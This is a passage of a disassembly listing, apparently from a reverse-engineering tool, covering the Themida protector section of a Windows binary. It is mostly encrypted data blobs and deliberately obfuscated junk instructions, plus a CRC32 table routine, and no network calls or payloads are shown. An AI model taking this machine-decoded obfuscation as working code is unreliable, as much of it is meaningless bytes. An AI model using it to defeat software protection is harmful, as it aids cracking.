0C2AAD704h, 8767DDB1h, 0BF9A916Bh, 5767F707h dd 865527DBh, 49AC9DDFh, 9174D3A7h, 641B98B5h, 43FC7B2Fh dd 0A633620Eh, 5D2B603Bh, 0B02BAF46h, 62E0CBF8h, 82CB68CFh dd 26ADCAA6h, 594487Dh, 5E7D295Eh, 6C926CA9h, 0CFB3CEDh dd 0CB68CFB6h, 9F5D24Eh, 0E44DE49Fh, 0C352063Bh, 413BE71Ch dd 0E69AD37Ah, 3F46D8Ah, 48000000h, 80326D5Fh, 9952493Dh dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h dd 94395044h, 7830A75Bh, 56CF5541h, 0C681E689h, 4, 5604EE83h dd 42474FFh, 24048F5Eh, 0E689565Ch, 4C681h, 0EE810000h dd 4, 5C243487h, 56242C89h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 0EC812404h, 4, 0BB241C89h, 61751C6h, 685BDD89h, 1F98h dd 81242489h, 42404h, 81580000h, 4ECh, 242C8900h, 0FF08408Fh dd 81582434h, 4C4h, 2434FF00h, 4C4835Dh, 0F92933E9h, 58A120FFh dd 81270C4Fh, 9791EFA1h db 83h ; --------------------------------------------------------------------------- loc_5C0BB1: ; CODE XREF: Themida_:005C062Cj mov eax, 61756B8h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 531Dh dd 2A5A0F26h, 0FDFA2E93h, 9374756Ch, 8E9B07E4h, 90BA320Ah dd 0D4F3386Ah, 94A6732Ah, 402B7D64h, 1AC04194h, 8711424h dd 0E10D3A9Dh, 2E6E3BB2h, 0A86B73CDh, 0EB712392h, 0AA465EC9h dd 5D167838h, 0E35839EFh, 13E86AF1h, 35000000h, 3B319EA4h dd 2537662Ch, 672D0C3Dh, 210A55A1h, 0FE94DD0h, 0DA000000h dd 0EDE810B0h, 0AA11DA75h, 0E49B8E58h, 0F5816CFh, 0C081D8BFh dd 6F28h, 82BFCA8Bh, 0E800001Bh, 0Dh, 4D7893E7h, 0B590EA08h dd 52F46208h, 11E8AFh, 4CFF0000h, 6422E99Eh, 0AD636F7Ah dd 4D044876h, 0F59225Ch, 87h, 0FF5A5B00h, 5ECDB630h, 7E06BA66h dd 0F064EE81h, 8B660934h, 7BEE81CAh, 0E9020F9Eh, 0Ah, 934F25F9h dd 0DE561F00h, 0F68196EAh, 5C75F339h, 9CDB8166h, 12E956FCh dd 54000000h, 0F3152BF1h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh dd 0F008F3Dh, 68Ch, 3ACB8100h, 8363D67Fh, 0BE903E8h, 0E000000h dd 8611FEABh, 600E2DDDh, 0F4842A7h, 0EF81DBBFh, 1, 1A850Fh dd 0BA660000h, 38E9A5CDh, 75000000h, 4A06F2B3h, 25ECD6ACh dd 89D24804h, 0A0B29521h, 0AE8h, 0DCC7BF00h, 5999A46Eh dd 66E58CA3h, 6D80EB81h, 0FF51E95Bh, 0AB93FFFFh, 0DBDEA94Dh dd 0B37C077Ch, 0E846046Bh, 0Ah, 5D933AF1h, 4DF57707h, 0B70FECC3h dd 10E95BF8h, 81000000h, 8A5E14EDh, 72FB698Bh, 3DA1BF8Fh dd 815E49D0h, 7173C3h, 33D38A00h, 8BF18BC9h, 9E90B04h dd 89000000h, 0CE487033h, 0F6818263h, 0E4AFF081h, 0B70F1926h dd 17C081F6h, 0BA6211F1h, 1E771E9Eh, 6E70F081h, 0BE66332Fh dd 489EE45h, 5E9F90Bh, 0A0000000h, 4312F810h, 4901E983h dd 0F9814949h, 0FFFF8F20h, 0FFB1850Fh, 13E8FFFFh, 84000000h dd 0D6450235h, 0FB300D4Bh, 8D25072Bh, 0FD953A8Bh, 8B5FFEE7h dd 8DBD83C0h, 61015h, 0BD830975h, 6100095h, 50197400h dd 0B8C08B53h, 421h, 0E658589h, 9D8D0610h, 612B815h, 585BD3FFh dd 95BD83h, 74000610h, 0B8535017h, 421h, 0E658589h, 9D8D0610h dd 612B504h, 585BD3FFh, 9D8BC08Bh, 6101FD5h, 23E585C6h dd 68560610h, 9CA8B852h, 1D45B5FFh, 858D0610h, 613858Ah dd 46AD0FFh, 100068h, 0D9B5FF00h, 6A061032h, 85D0FF00h dd 0D850FC0h, 0B8000000h, 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+61073A3h] jmp ecx ; --------------------------------------------------------------------------- mov ecx, eax mov eax, ebx add eax, [eax+3Ch] add eax, 0F8h mov edx, [eax+0Ch] add edx, ebx cmp dword ptr [ebp+6100F51h], 0 jz loc_5C0E88 mov ebx, [ebp+6100F51h] mov eax, [ebp+61015E9h] mov [ebx], eax loc_5C0E88: ; CODE XREF: Themida_:005C0E74j push ecx push edx lea eax, [ebp+61042D8h] call eax mov edi, edx mov esi, ecx mov edx, ecx mov ecx, eax rep movsb mov byte ptr [ebp+61023E5h], 56h push 0D41F6D39h push dword ptr [ebp+6101D45h] lea eax, [ebp+613858Ah] call eax push 8000h push 0 push edx call eax mov eax, eax cmp dword ptr [ebp+610158Dh], 0 jnz short loc_5C0ED4 cmp dword ptr [ebp+6100095h], 0 jz short loc_5C0EED loc_5C0ED4: ; CODE XREF: Themida_:005C0EC9j push eax push ebx mov eax, eax mov eax, 421h mov [ebp+610132Dh], eax lea ebx, [ebp+612B87Ch] call ebx pop ebx pop eax loc_5C0EED: ; CODE XREF: Themida_:005C0ED2j cmp dword ptr [ebp+6100095h], 0 jz short loc_5C0F0D push eax push ebx mov eax, 421h mov [ebp+610132Dh], eax lea ebx, [ebp+612B51Dh] call ebx pop ebx pop eax loc_5C0F0D: ; CODE XREF: Themida_:005C0EF4j mov eax, eax lea ebx, [ebp+6100F51h] mov eax, [ebx] or eax, eax jz loc_5C0F26 mov eax, [ebx] mov ebx, [ebx+4] mov [eax], ebx loc_5C0F26: ; CODE XREF: Themida_:005C0F19j mov eax, 4B41h call sub_5C0F43 scasd pop edi daa mov edx, 0A4F41CA7h inc esp das mov ah, 56h push ebp sbb esi, ebx mov edi, [ebp+3Bh] ; =============== S U B R O U T I N E ======================================= sub_5C0F43 proc near ; CODE XREF: Themida_:005C0F2Bp and edx, 424ED29Ch pop eax call sub_5C0F60 xor al, [ebx] pop ebp aaa retn 0A374h sub_5C0F43 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 7139h dd 0B0739AA4h, 2E049393h ; =============== S U B R O U T I N E ======================================= sub_5C0F60 proc near ; CODE XREF: sub_5C0F43+7p jge loc_5C0F68 pusha popa loc_5C0F68: ; CODE XREF: sub_5C0F60j pop edx add eax, 0E811h mov di, 1D07h push 0 pusha pusha mov bl, dh push ecx pop ebx popa popa pop esi and dh, 89h loc_5C0F84: ; CODE XREF: sub_5C0F60+89j push dword ptr [esi+eax] jnz loc_5C0F97 jnz loc_5C0F97 mov di, 351h loc_5C0F97: ; CODE XREF: sub_5C0F60+27j ; sub_5C0F60+2Dj pop ecx adc bx, 0CA6Eh sub ecx, 267F66B9h stc xor ecx, 20A74783h mov di, 0CEE8h add ecx, 2ACCC123h sbb ebx, 7FCE69Fh push ecx mov dx, 0D521h pop dword ptr [eax+esi] mov edi, esi jnp loc_5C0FD0 sbb edi, 1750A196h loc_5C0FD0: ; CODE XREF: sub_5C0F60+64j sub esi, 5D7AF0B6h mov di, 5AA0h add esi, 5D7AF0B2h sbb bh, 0Fh cmp esi, 0FFFF18ACh jnz loc_5C0F84 mov bl, ah call sub_5C0FFF adc esp, ecx mov dl, 94h pop es test bl, ah cmc movsb sub_5C0F60 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5C0FFF proc near ; CODE XREF: sub_5C0F60+91p jmp sub_5C1013 sub_5C0FFF endp ; --------------------------------------------------------------------------- dd 6FE0DD6Bh, 3AE4A8A9h, 1CF20108h db 51h, 1Dh, 54h ; =============== S U B R O U T I N E ======================================= sub_5C1013 proc near ; CODE XREF: sub_5C0FFFj ; FUNCTION CHUNK AT 005C10CA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005C10DF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005C1101 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005C1112 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005C1132 SIZE 00000011 BYTES pop esi cld add esi, 6638h jnz loc_5C1024 movzx ecx, cx loc_5C1024: ; CODE XREF: sub_5C1013+8j push 0 pusha jmp loc_5C103C ; --------------------------------------------------------------------------- db 49h dd 8344C586h, 0D0956F7Ch, 0EC316951h ; --------------------------------------------------------------------------- loc_5C103C: ; CODE XREF: sub_5C1013+17j mov dx, di popa pop ebx jmp loc_5C105A ; --------------------------------------------------------------------------- dw 473Eh dd 0AAD27B67h, 9A3F409Bh, 8E55CD3Ch, 2874B18Eh ; --------------------------------------------------------------------------- mov bh, 74h loc_5C105A: ; CODE XREF: sub_5C1013+2Ej push dword ptr [ebx+esi] jmp loc_5C106E ; --------------------------------------------------------------------------- fdiv st(6), st pop esp inc ebp add cl, dl jmp short loc_5C10CA ; --------------------------------------------------------------------------- dw 79Ah db 7Ah, 0A0h ; --------------------------------------------------------------------------- loc_5C106E: ; CODE XREF: sub_5C1013+4Aj pop eax cld xor eax, 276BFDD5h cmc xor eax, 0DD83FA7h and cl, 0ABh sub eax, 602FAF61h call near ptr loc_5C109A+5 push ebp cmp [edx+edx*2+4Fh], dl xchg dh, bl mov dl, 3Eh sub al, 9Bh repne push ds loope locret_5C10F1 loc_5C109A: ; CODE XREF: sub_5C1013+73p jmp far ptr 0BF66h:5FC80E45h sub_5C1013 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov al, 4Eh pop edx push eax pop dword ptr [esi+ebx] jmp loc_5C10C1 ; --------------------------------------------------------------------------- dd offset dword_4CBB28+0ED7h db 0DEh, 6Ch, 0A3h dd 0DAFD8631h, 4E98B989h, 62517BFCh db 23h ; --------------------------------------------------------------------------- loc_5C10C1: ; CODE XREF: Themida_:005C10A8j mov edx, 0CC12BB9h sub ebx, 2 ; --------------------------------------------------------------------------- db 66h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C1013 loc_5C10CA: ; CODE XREF: sub_5C1013+55j mov edi, eax dec ebx dec ebx pusha or bh, 0Ah jmp loc_5C10DF ; END OF FUNCTION CHUNK FOR sub_5C1013 ; --------------------------------------------------------------------------- xchg eax, edx fcomi st, st mov dl, 0Dh mov cl, 39h pop es ; START OF FUNCTION CHUNK FOR sub_5C1013 loc_5C10DF: ; CODE XREF: sub_5C1013+BFj popa cmp ebx, 0FFFF9B00h jnz loc_5C1112 jmp loc_5C1101 ; --------------------------------------------------------------------------- locret_5C10F1: ; CODE XREF: sub_5C1013+85j iret ; END OF FUNCTION CHUNK FOR sub_5C1013 ; --------------------------------------------------------------------------- dw 0FAF7h dd 7A2BD0EFh, 0D784E00Ch, 55919D25h ; --------------------------------------------------------------------------- cli ; START OF FUNCTION CHUNK FOR sub_5C1013 loc_5C1101: ; CODE XREF: sub_5C1013+D9j jmp loc_5C1132 ; END OF FUNCTION CHUNK FOR sub_5C1013 ; --------------------------------------------------------------------------- dw 64C9h dd 1A2F4A9Bh, 0CB2D885Dh ; --------------------------------------------------------------------------- add eax, esp ; START OF FUNCTION CHUNK FOR sub_5C1013 loc_5C1112: ; CODE XREF: sub_5C1013+D3j call near ptr locret_5C111A+2 cdq in eax, dx pop esp locret_5C111A: ; CODE XREF: sub_5C1013:loc_5C1112p retn 815Bh ; END OF FUNCTION CHUNK FOR sub_5C1013 ; --------------------------------------------------------------------------- db 0D9h, 3, 65h dd 0E95F50ECh, 0FFFFFF32h, 62774E95h, 95B10D9h db 8Eh, 3Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5C1013 loc_5C1132: ; CODE XREF: sub_5C1013:loc_5C1101j lea ecx, [ebp+6175D98h] push 0 push ebp call sub_5C1143 and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5C1013 ; =============== S U B R O U T I N E ======================================= sub_5C1143 proc near ; CODE XREF: sub_5C1013+128p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5C1143 endp ; --------------------------------------------------------------------------- mov ch, 0BAh dec ebp mov [ebp+61009F5h], ecx push ecx jbe loc_5C1168 mov edx, 10AA1161h loc_5C1168: ; CODE XREF: Themida_:005C115Dj pop edi mov si, ax mov dword ptr [ebp+6102319h], 683Ch push 0 push ebx call sub_5C1181 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1181 proc near ; CODE XREF: Themida_:005C1179p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5C1181 endp ; --------------------------------------------------------------------------- jnz short near ptr loc_5C1201+1 xor al, 47h dec ebp lea esp, [ebx] jb short loc_5C1201 mov dword ptr [ebp+61022C1h], 0 mov [ebp+6101C41h], edi push dword ptr [ebp+61030C5h] pusha sbb ax, 0FFBDh xor [ebp+6102EFDh], ecx popa pusha jmp loc_5C11CB ; --------------------------------------------------------------------------- db 0FCh dd 4DD54B1Eh db 23h, 0B2h, 0Eh ; --------------------------------------------------------------------------- loc_5C11CB: ; CODE XREF: Themida_:005C11BEj popa call dword ptr [ebp+6102DB9h] push 0 push ecx call sub_5C11DD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C11DD proc near ; CODE XREF: Themida_:005C11D5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5C11DD endp ; --------------------------------------------------------------------------- db 6, 72h, 2Ch dd 0BB666ECFh, 0E781540Eh, 1FEB57BBh, 95FF006Ah ; --------------------------------------------------------------------------- leave loc_5C1201: ; CODE XREF: Themida_:005C1198j ; Themida_:005C1191j xor [eax], edx loc_5C1203: ; DATA XREF: Themida_:0054D0ACo ; Themida_:0054E368o push es mov eax, eax jmp short loc_5C1244 ; --------------------------------------------------------------------------- dd 3746288h, 88A82DFFh, 92654B8Eh, 90A1689Dh, 0E411EC62h dd 608091Dh, 3C978420h, 0F2D0E058h, 47A8F2B5h, 0A0C26B21h dd 73A1DDB2h, 9CE67581h, 0F211F234h, 0C835AA8Ch, 0F9F8FD2Ch ; --------------------------------------------------------------------------- loc_5C1244: ; CODE XREF: Themida_:005C1206j lea ecx, [ebp+6175E59h] push 0 push ebx call sub_5C1255 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1255 proc near ; CODE XREF: Themida_:005C124Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5C1255 endp ; --------------------------------------------------------------------------- db 0A1h, 4Dh, 0B7h ; --------------------------------------------------------------------------- add edx, [eax-749D39CCh] popf mov cl, 1Fh adc [esi], al mov [ebp+61009F5h], ecx sub [ebp+6100D41h], ecx mov dword ptr [ebp+6102319h], 6534h mov [ebp+6101159h], edi mov dword ptr [ebp+61022C1h], 0 mov [ebp+610298Dh], edi mov [ebp+610336Dh], ecx push dword ptr [ebp+61008A1h] cld loc_5C12AC: ; CODE XREF: Themida_:005C12DAj call dword ptr [ebp+6102DB9h] push edi sub [ebp+61020A9h], ecx pop edi movzx ebx, ax push 0 loc_5C12BF: ; DATA XREF: Themida_:0054DF04o ; Themida_:0054E7D8o call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5C1328 ; --------------------------------------------------------------------------- wait ; (emulator call) and al, 0B7h push eax rol byte ptr [edx+28879AE0h], 1 xor [esi+edx*8], cl or al, 0BCh scasb jecxz short loc_5C12AC mov edi, 0E380FE38h add byte ptr [ecx], 0A4h stosb std xchg eax, esi retf ; --------------------------------------------------------------------------- dd 0B01EF392h, 9163B314h, 0F03C4A3h, 1047A1E9h, 0F7369AF9h dd 0C670F1ABh, 0D1662E96h, 0D9EB7851h, 3E2CB32Fh, 0B48FE166h dd 0F3628176h, 0E2A867EEh, 0E3767663h, 0B49EB158h, 0A17877h dd 63F38D1Dh ; --------------------------------------------------------------------------- loc_5C1328: ; CODE XREF: Themida_:005C12C7j jmp loc_5C1368 ; --------------------------------------------------------------------------- pusha mov edi, [ebp+61030A9h] sub edi, 4 xor ecx, ecx loc_5C1339: ; CODE XREF: Themida_:005C1360j mov eax, ecx mov ebx, 0EDB88320h add edi, 4 mov esi, 8 loc_5C1348: ; CODE XREF: Themida_:005C1351j shr eax, 1 sbb edx, edx and edx, ebx xor eax, edx dec esi jnz loc_5C1348 inc ecx mov [edi], eax cmp ecx, 100h jb loc_5C1339 popa retn ; --------------------------------------------------------------------------- loc_5C1368: ; CODE XREF: Themida_:loc_5C1328j mov ecx, eax lea ebx, [ebp+6102FC5h] mov eax, 13A8h mov [ebp+6101ED9h], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_5C2735 ; --------------------------------------------------------------------------- byte_5C138D db 3 dup(0) ; DATA XREF: Themida_:0054E430o dd 4E7h dup(0) db 0 byte_5C272D db 3 dup(0) ; DATA XREF: Themida_:0054C37Co dd 0 db 0 ; --------------------------------------------------------------------------- loc_5C2735: ; CODE XREF: Themida_:005C1388j jmp loc_5C27D9 ; --------------------------------------------------------------------------- dw 0C363h dd 974DCC80h, 0B86DEC60h, 974CCB7Fh, 0B557DE5Ah, 0B8C4C276h dd 0F367A64Ah, 0CC80C164h, 0EA5E994Dh, 0CB7FB46Bh, 952DDCE0h dd 716BDB0Eh, 7D32A874h, 0DAC601A5h, 0BD867A56h, 0B02C691Eh dd 0CC7C4EF9h, 0F315B16Dh, 8CFA6D8Ah, 719237B1h, 92F112F3h dd 0C5Ah, 215FB200h, 0C464F2Ch, 5774A7F0h, 3D8032CDh, 64995249h dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h dd 5B943950h, 417830A7h, 0CF68CF55h, 0E9061772h, 0FFF90D0Ch dd 75EF85B2h, 8B8131E4h, 0E1205DEh ; --------------------------------------------------------------------------- lahf loc_5C27D9: ; CODE XREF: Themida_:loc_5C2735j dec dl inc ecx mov ecx, ds:490326A8h mov cl, [ebx+ecx*4-2A5457F3h] jmp far ptr 2CA8h:0D886475h ; --------------------------------------------------------------------------- dd 0BA8A4900h, 9957AE5Dh, 548A4900h, 0ABA80D89h, 1F75EAD5h dd 0CFA80D89h, 998A4901h, 49A80D89h, 138A4906h, 0ABA80D8Eh dd 2575EAD5h, 2031D42Fh, 0C003133Dh, 52BF22D2h, 308D90A7h dd 0D12157B5h, 439D665Eh, 21F6D42Fh, 0C003133Dh, 52BF22DAh dd 303C90A7h, 0D12157B5h, 439D66AAh, 22A5D42Fh, 0C003133Dh dd 52BF2226h, 33E890A7h, 0D12157B5h, 439D66A6h, 220ED42Fh dd 0C003133Dh, 52BF2232h, 336590A7h, 0D12157B5h, 439D66B2h dd 2398D42Fh, 0C003133Dh, 52BF223Eh, 32FB90A7h, 0D12157B5h dd 439D668Ah, 231AD42Fh, 0C003133Dh, 52BF2206h, 326190A7h dd 0D12157B5h, 439D6682h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 52FE46C0h, 0A8ED96A4h, 458A152Ah dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h dd 0CE75EAD5h, 0B13AAE63h, 848C0534h, 11AB5342h, 55FFEA22h dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch dd 660351A2h, 0EE27BFEAh, 0DDA7DB2Fh, 9475133Dh, 0D9020112h dd 52031AA0h, 0EC79AEA4h, 41AE51A1h, 5B22DC09h, 0BA8C02A3h dd 0DF103773h, 0C821732Ah, 43215E28h, 0FD5BEA2Ch, 508C152Bh dd 4A009881h, 0ABAE462Bh, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 52FF06C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah dd 44B4F030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h dd 52031AA0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h dd 458A15C2h, 0BE290BA2h, 439D6040h, 0DFA02429h, 4D1957h dd 54A8515Eh, 0D775532Ah, 52B84D03h, 0CE19CDA1h, 979BFC69h dd 0EFE2A5B9h, 0D9F9FA31h, 52031AA0h, 0D79AEA4h, 2320949Ah dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h, 45869025h dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h dd 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h dd 860085E1h, 5B22DC08h, 0BA8C02A3h, 0FEF8E173h, 0CC859FA7h dd 855757B5h, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h dd 54AFE9A2h, 0D775152Ah, 52B84F47h, 0C8204526h, 43215E28h dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h, 592B87D5h dd 8C2357B2h, 0EF491786h, 0DDA7DB2Fh, 9475133Dh, 0BD28E9C4h dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h dd 0E418EA80h, 0DFAE41BEh, 8558B9E2h, 5B32DC08h, 0BA8C02A3h dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h dd 54A851A2h, 0D775BF86h, 52B84D03h, 7726DDA1h, 0CE25FB63h dd 439D9C25h, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 52031AB0h dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 0CC858FA7h, 875757B5h dd 320A09Ah, 0CE25FB0Eh, 439D9C25h, 0ECCE825Dh, 0EEECD8ACh dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh dd 458AFD4Ah, 0D5F251A2h, 52F22EC0h, 0A8ED96A4h, 458A152Ah dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h dd 0BA8660D5h, 0CE2559D7h, 439D665Ah, 1332DCF1h, 0BA8C025Eh dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 43DBD138h dd 0DF07462Ch, 52BF25E5h, 3C6D5h, 5492B85Eh, 3075152Ah dd 5CDDAEAEh, 36068FA7h, 0D9FB57B5h, 52FE52B0h, 0DD7BAEA4h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0CC32DCAAh, 168C0259h dd 20EFCB2Fh, 9675133Dh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 0C00CEB00h, 0F355F392h, 955E6572h dd 0E992D690h, 662h, 656E9h, 2F721400h, 0D44FC7Bh, 0EA23CA51h dd 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh, 0B83FFB3Ch dd 0D463D712h, 4742F62Bh, 50CB675h, 0BE86BDBh, 44793241h dd 900DE50h, 6DCC7CB9h, 6FEC015Dh, 83FE5BBh, 0F0A138ECh dd 20C4C3AFh, 755F9D46h, 0E5DEA77h, 3B37EB07h, 0B86C6B17h dd 590E8D79h, 6D1C421Ch, 6DCC4CD5h, 4CA61C0Fh, 0E23E6DCCh dd 0F151382Ah, 156DCC4Ch, 5E203D19h, 0C480C267h, 154697DCh dd 2B203A16h, 933FB620h, 84F3C80Fh, 6C834C71h, 0BE0407D9h dd 566DCCA3h, 8A01FDDAh, 0AD1ABE2h, 0FC782C61h, 43D21FDFh dd 0D27349FDh, 6581E591h, 0BF91B5B1h, 0CDE2ACA1h, 0E2AE7E7Dh dd 14B81E05h, 0E84467F7h, 0AFE89D3Ch, 4C3F21FBh, 942514F6h dd 9BD0770Eh, 7419A2B7h, 14FC4645h, 1C189425h, 14FB4742h dd 3F1B9425h, 0E3FD6F23h, 14B40EFDh, 0D4509425h, 25149D25h dd 0E0FD7994h, 0C157E223h, 0F433D528h, 0AAE58900h, 851C03F6h dd 0A43B6437h, 4A8C2922h, 97F8C9CFh, 1B54F9C2h, 8DB3429Fh dd 30BBA0D7h, 921A2F06h, 5554264Ah, 0C1F249F5h, 0F611511h dd 8358994Ch, 63D712B8h, 0FFF32ED4h, 0B4E01958h, 56EDD64Bh dd 6CE01BCFh, 1DB0017h, 87BAE10Ah, 0DE5D8320h, 873BEA2Bh dd 3D2CA70Eh, 0A70EF44Eh, 5C14102Ch, 0B4139FF7h, 3D195343h dd 0ECFE5A20h, 8AB1712h, 0B0162CA7h, 7F9AA74Bh, 4BBD2CAh dd 233F23CFh, 0B5115846h, 582CA794h, 9061841Bh, 70F1FF4Dh dd 0Ch, 0DE15CB8Eh, 88404309h, 8C000003h, 55417C32h, 6DAC60DBh dd 0E9FE37EEh, 8E82BB72h, 7D26B587h, 0A2BEF9ADh, 0C65572EEh dd 0E9C2AB2Fh, 0DCA86A1Dh, 47FBAEC0h, 9F6DCC6Ch, 792DA6C3h dd 0ABC7FCA3h, 0C702A82Fh, 251BB8B5h, 423E1D40h, 0F5E2017Ah dd 0E6032561h, 26054638h, 990331F0h, 0CC96805Dh, 0AC750CB7h dd 7CC6C5F6h, 986DCCD0h, 7504B89Ch, 88C597D0h, 5B111BB0h dd 0C7F47024h, 0B190DACBh, 4E01A611h, 0BC6A7F63h, 792D6A1Dh dd 27CA916Fh, 0E99B3AE6h, 567AF6AAh, 0C703A281h, 5F134EF4h dd 0B86DE603h, 1A20A289h, 68C46DCCh, 10043BF1h, 2D1E3014h dd 0FAA0C4B7h, 0CD916609h, 0B87C0F1Eh, 41E675F1h, 37141004h dd 7789C87Ch, 0E023FE4h, 0FA813512h, 6B6A1657h, 230270BAh dd 2EE221C3h, 0AC9F0532h, 21458026h, 851E5145h, 65A647EEh dd 0D480E9h, 0B9800000h, 2A02D718h, 421CC35Ch, 53C20009h dd 7E5B0305h, 2D620980h, 4A832AB1h, 0B355E456h, 16AC5774h dd 346DCC5Fh, 0DD65243Ah, 396DCC5Fh, 8420D734h, 7EB5C75h dd 73B251F2h, 92BB95CEh, 0B1F71168h, 249AAF4Eh, 0BFB3F495h dd 36EA1FC8h, 0AE62D983h, 2AC95A6Fh, 47195A0Bh, 440B1B06h dd 688523DFh, 0EAC667EEh, 3BE70B42h, 0D66C1F41h, 2E6DCC29h dd 0CBB7F497h, 17CC8B67h, 9236FDDAh, 80289F53h, 863E5D49h dd 3B4A34Fh, 3BF6606Ch, 8BCC7DA4h, 65A448CFh, 0BD6AFDB1h dd 578C3309h, 0F7ABC7ABh, 38EC2DE0h, 507C13AEh, 83A241D0h dd 0AF26A2E1h, 85D4C0FBh, 6DCC2938h, 38F99827h, 0F9E35792h dd 299E24E7h, 55546DCCh, 6DCC29EDh, 0F9752D09h, 7C3248E4h dd 90365541h, 822AA155h, 8740574Bh, 7D349E52h, 7E1DDAE6h dd 4D883EE7h, 141DA91h, 46396DCCh, 336B2E6Ah, 0FFFF074Ch dd 0BD5CBEFFh, 3C5D4C1Eh, 0CA67FC0Ch, 11C8A24Eh, 0EF731F60h dd 75AA61DAh, 548942B9h, 498629A0h, 0E281225Dh, 14CC9C43h dd 0B645F9DDh, 7D2CD80Dh, 94238CC0h, 4AEB8A19h, 0C7926CA1h dd 490DEA21h, 0AE419D2h, 0B5619A4Fh, 90EA9CB1h, 39ED22C9h dd 36BD203Dh, 3BE0CBA5h, 0CB9E13D6h, 6F86DB4Fh, 3BEE1BD1h dd 9E13BA87h, 3DF035Fh, 339442E9h, 304E9428h, 431C979h dd 1C312D80h, 7F160A66h, 7854F5CBh, 84E094D5h, 